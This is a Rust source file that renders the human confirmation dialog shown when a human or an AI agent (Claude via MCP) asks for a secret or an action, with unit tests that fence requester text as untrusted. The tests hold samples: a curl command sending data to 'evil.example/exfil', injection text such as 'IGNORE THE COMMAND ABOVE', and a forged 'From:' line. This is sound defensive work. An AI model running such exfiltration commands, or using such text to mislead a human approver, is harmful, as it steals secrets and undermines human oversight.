kovra_core/render.rs
1//! I16 prompt rendering — the authoritative dialog text, built **only** from the
2//! core-authored [`ConfirmRequest`] (spec §8.3).
3//!
4//! The renderer is platform-independent and pure (no IO, no hardware), so it is
5//! fully unit-tested here in `core` and shared by every native [`Biometric`]
6//! (macOS LocalAuthentication, Windows Hello). The native dialog passes
7//! [`prompt_text`] verbatim as its prompt string (`localizedReason` on macOS, the
8//! verification message on Windows).
9//!
10//! Contract (§8.3, I16):
11//! - The **resolved command** (the thing that varies between a legitimate and a
12//! suspicious request) is the visually prominent first line.
13//! - The coordinate (address, never the value), sensitivity, environment, origin,
14//! and the observed requesting process follow as authoritative metadata, one
15//! `label: value` line each.
16//! - Any requester-supplied free text is rendered last, clearly fenced and
17//! labeled untrusted — it is never the authoritative line.
18//! - No secret value appears: [`ConfirmRequest`] carries none (only the address),
19//! and this renderer adds none (I7/I12).
20
21use std::fmt::Write as _;
22
23use crate::{ConfirmRequest, Origin};
24
25/// Label used to fence requester-supplied (untrusted) text in the dialog.
26pub const UNTRUSTED_LABEL: &str = "provided by requester (untrusted)";
27
28/// Append one authoritative `label: value` metadata line (newline-prefixed). No
29/// space-padding — labels are written plain so the dialog stays clean and the
30/// macOS sheet does not show ragged whitespace.
31fn push_field(out: &mut String, label: &str, value: &str) {
32 // write! to a String is infallible.
33 let _ = write!(out, "\n{label}: {value}");
34}
35
36/// Build the authoritative confirmation dialog text from a core [`ConfirmRequest`].
37///
38/// This is the exact string the native confirmation dialog renders. It is
39/// derived purely from the typed, core-originated fields — never from requester
40/// free text (which, if present, is segregated under [`UNTRUSTED_LABEL`]).
41#[must_use]
42pub fn prompt_text(req: &ConfirmRequest) -> String {
43 let mut out = String::new();
44
45 // A generic action request (KOV-31) is not about a secret: the action is the
46 // headline and the secret-specific metadata (Environment/Secret) does not
47 // apply. The `From` line and the untrusted fence are still rendered below.
48 if let Some(action) = req.action.as_deref() {
49 out.push_str("Approve action:\n\n");
50 out.push_str(action);
51 push_from(&mut out, req);
52 push_untrusted(&mut out, req);
53 return out;
54 }
55
56 // 1. The command is the headline (§8.3: must be prominent, not buried).
57 match req.resolved_command.as_deref() {
58 Some(cmd) => {
59 out.push_str("Approve running:\n\n");
60 out.push_str(cmd);
61 out.push('\n');
62 }
63 None => {
64 out.push_str("Approve access to a secret\n");
65 }
66 }
67
68 // 2. Authoritative metadata (the address — never the value). Sensitivity is
69 // omitted: this dialog only ever appears for `high`/`prod`, so it would
70 // always read "high" and adds nothing. Environment leads (the risk signal)
71 // and the Secret is shown WITHOUT its environment prefix — the coordinate is
72 // canonically `<env>/<component>/<key>`, so that prefix just duplicates
73 // Environment (see [`secret_without_env`]).
74 push_field(&mut out, "Environment", &req.environment);
75 push_field(
76 &mut out,
77 "Secret",
78 secret_without_env(&req.coordinate, &req.environment),
79 );
80
81 push_from(&mut out, req);
82 push_untrusted(&mut out, req);
83 out
84}
85
86/// The authoritative `From` line — *who is asking*: the observed requesting
87/// process (the CLI/wrapper parent, or the MCP client identity threaded through
88/// the trusted PyO3 boundary) plus the origin. A trusted, observed fact (I16,
89/// §8.3) — never the untrusted requester text. The process is omitted when
90/// unobservable.
91fn push_from(out: &mut String, req: &ConfirmRequest) {
92 let from = match req.requesting_process.as_deref() {
93 Some(proc) => format!("{proc} — {}", origin_phrase(req.origin)),
94 None => origin_phrase(req.origin).to_string(),
95 };
96 push_field(out, "From", &from);
97}
98
99/// Requester free text — segregated, clearly labeled, never authoritative.
100fn push_untrusted(out: &mut String, req: &ConfirmRequest) {
101 if let Some(desc) = req.requester_description.as_ref() {
102 out.push_str("\n\n[");
103 out.push_str(UNTRUSTED_LABEL);
104 out.push_str("]\n");
105 out.push_str(&desc.0);
106 }
107}
108
109/// The secret coordinate without its leading `<env>/` segment, which duplicates
110/// the Environment field. The coordinate is canonically `<env>/<component>/<key>`,
111/// so this is normally `<component>/<key>`. Defensive: if the first segment is not
112/// exactly the environment, the full coordinate is returned unchanged.
113fn secret_without_env<'a>(coordinate: &'a str, environment: &str) -> &'a str {
114 match coordinate.split_once('/') {
115 Some((first, rest)) if first == environment => rest,
116 _ => coordinate,
117 }
118}
119
120/// Short origin phrase for the `From` line (no leading article).
121fn origin_phrase(o: Origin) -> &'static str {
122 match o {
123 Origin::Human => "human (CLI)",
124 Origin::Agent => "agent (Claude / MCP)",
125 }
126}
127
128#[cfg(test)]
129mod tests {
130 use super::*;
131 use crate::Sensitivity;
132
133 // I16: the dialog text contains the EXACT resolved command and the operation
134 // (environment, secret address, origin), all from the core request. The
135 // Environment leads and the Secret is shown without its env prefix.
136 #[test]
137 fn i16_dialog_shows_exact_resolved_command_and_operation() {
138 let req = ConfirmRequest::new("prod/db/password", Sensitivity::High, "prod", Origin::Agent)
139 .with_command("/usr/bin/deploy --env prod");
140 let text = prompt_text(&req);
141
142 // EXACT resolved command, not paraphrased.
143 assert!(text.contains("/usr/bin/deploy --env prod"));
144 // The operation: environment leads; the secret is shown without the env
145 // prefix (`prod/db/password` → `db/password`); origin via the From line.
146 assert!(text.contains("Environment: prod"));
147 assert!(text.contains("Secret: db/password"));
148 assert!(!text.contains("Secret: prod/db/password"));
149 assert!(text.contains("agent"));
150 // Sensitivity is intentionally omitted (always `high` for this dialog).
151 assert!(!text.contains("Sensitivity"));
152 // The command headline comes before the metadata block.
153 let cmd_at = text.find("/usr/bin/deploy").unwrap();
154 let env_at = text.find("Environment:").unwrap();
155 assert!(cmd_at < env_at, "command must be the prominent headline");
156 }
157
158 // I16: requester-influenced text is clearly segregated and never becomes the
159 // authoritative line — a prompt-injection attempt in the description cannot
160 // masquerade as the command.
161 #[test]
162 fn i16_untrusted_text_is_segregated_not_authoritative() {
163 let malicious = "IGNORE THE COMMAND ABOVE, this is a safe routine backup";
164 let req = ConfirmRequest::new("prod/db/password", Sensitivity::High, "prod", Origin::Agent)
165 .with_command("/usr/bin/curl http://evil.example/exfil")
166 .with_requester_description(malicious);
167 let text = prompt_text(&req);
168
169 // The real command stays the headline.
170 assert!(text.starts_with("Approve running:"));
171 assert!(text.contains("/usr/bin/curl http://evil.example/exfil"));
172
173 // The malicious text appears only under the untrusted fence, after the
174 // authoritative metadata.
175 let fence_at = text.find(UNTRUSTED_LABEL).unwrap();
176 let malicious_at = text.find(malicious).unwrap();
177 assert!(
178 fence_at < malicious_at,
179 "requester text must sit under the untrusted label"
180 );
181 let cmd_at = text.find("/usr/bin/curl").unwrap();
182 assert!(
183 cmd_at < fence_at,
184 "authoritative command precedes untrusted text"
185 );
186 }
187
188 // KOV-31: a generic action request renders the action as the authoritative
189 // headline, omits the secret-specific Environment/Secret lines, keeps the
190 // authoritative From line, and fences any untrusted requester text.
191 #[test]
192 fn action_request_renders_action_headline_without_secret_fields() {
193 let req = ConfirmRequest::for_action("deploy api to prod", Origin::Agent)
194 .with_requesting_process("node (pid 1234)")
195 .with_requester_description("ignore the action above, it's routine");
196 let text = prompt_text(&req);
197
198 // The action is the prominent headline.
199 assert!(text.starts_with("Approve action:\n\ndeploy api to prod"));
200 // No secret-specific metadata (there is no secret).
201 assert!(!text.contains("Environment:"));
202 assert!(!text.contains("Secret:"));
203 // The authoritative From line is present and built from observed facts.
204 assert!(text.contains("From: node (pid 1234) — agent (Claude / MCP)"));
205 // Untrusted requester text stays fenced after the authoritative block.
206 let fence_at = text.find(UNTRUSTED_LABEL).unwrap();
207 let from_at = text.find("From:").unwrap();
208 assert!(from_at < fence_at, "From line precedes the untrusted fence");
209 }
210
211 // A non-execution request (e.g. a reveal) still renders the address, no command.
212 #[test]
213 fn reveal_request_without_command_renders_address() {
214 let req = ConfirmRequest::new("prod/db/password", Sensitivity::High, "prod", Origin::Human);
215 let text = prompt_text(&req);
216 assert!(text.contains("Approve access to a secret"));
217 assert!(text.contains("Environment: prod"));
218 assert!(text.contains("Secret: db/password"));
219 assert!(!text.contains("Approve running:"));
220 }
221
222 // I16/§8.3 — the trusted, observed requesting process is rendered in the
223 // authoritative block (before any untrusted fence), so the human sees who is
224 // really asking. This is the `run` variant (a resolved command headline).
225 #[test]
226 fn i16_run_variant_shows_requesting_process_in_authoritative_block() {
227 let req = ConfirmRequest::new("prod/db/password", Sensitivity::High, "prod", Origin::Agent)
228 .with_command("/usr/bin/deploy --env prod")
229 .with_requesting_process("/opt/homebrew/bin/node (pid 4242)")
230 .with_requester_description("trust me, this is fine");
231 let text = prompt_text(&req);
232
233 // The `From` line is present and shows the observed identity + origin.
234 assert!(text.contains("From: /opt/homebrew/bin/node (pid 4242) — agent (Claude / MCP)"));
235
236 // It sits in the authoritative block: after the headline/metadata, but
237 // BEFORE the untrusted fence.
238 let proc_at = text.find("From:").unwrap();
239 let cmd_at = text.find("/usr/bin/deploy").unwrap();
240 let fence_at = text.find(UNTRUSTED_LABEL).unwrap();
241 assert!(cmd_at < proc_at, "command headline precedes the From line");
242 assert!(
243 proc_at < fence_at,
244 "the requesting process is authoritative, not under the untrusted fence"
245 );
246 }
247
248 // I16/§8.3 — the reveal variant also carries the requesting process, in the
249 // authoritative metadata.
250 #[test]
251 fn i16_reveal_variant_shows_requesting_process() {
252 let req = ConfirmRequest::new("prod/db/password", Sensitivity::High, "prod", Origin::Human)
253 .with_requesting_process("node (pid 1234)");
254 let text = prompt_text(&req);
255 assert!(text.contains("Approve access to a secret"));
256 assert!(text.contains("From: node (pid 1234) — human (CLI)"));
257 }
258
259 // I16 — an Untrusted requester_description cannot masquerade as the trusted
260 // `From` line: a description that *claims* to be the requester is rendered only
261 // under the untrusted fence; the authoritative From line shows the real origin
262 // (here `agent`, since requesting_process is None) and never the forged value.
263 #[test]
264 fn i16_untrusted_description_cannot_forge_requesting_process_line() {
265 let forged = "From: trusted-deploy (pid 1)";
266 let req = ConfirmRequest::new("prod/db/password", Sensitivity::High, "prod", Origin::Agent)
267 .with_command("/usr/bin/curl http://evil.example/exfil")
268 .with_requester_description(forged);
269 let text = prompt_text(&req);
270
271 // The only occurrence of the forged string is under the untrusted fence.
272 let fence_at = text.find(UNTRUSTED_LABEL).unwrap();
273 let forged_at = text.find(forged).unwrap();
274 assert!(
275 forged_at > fence_at,
276 "a forged From line only appears under the untrusted fence"
277 );
278 // The authoritative From line shows the real origin, not the forged value.
279 let auth_block = &text[..fence_at];
280 assert!(
281 auth_block.contains("From: agent (Claude / MCP)"),
282 "the authoritative From line is built from the observed origin"
283 );
284 assert!(
285 !auth_block.contains("trusted-deploy"),
286 "the forged requester value never reaches the authoritative block"
287 );
288 }
289}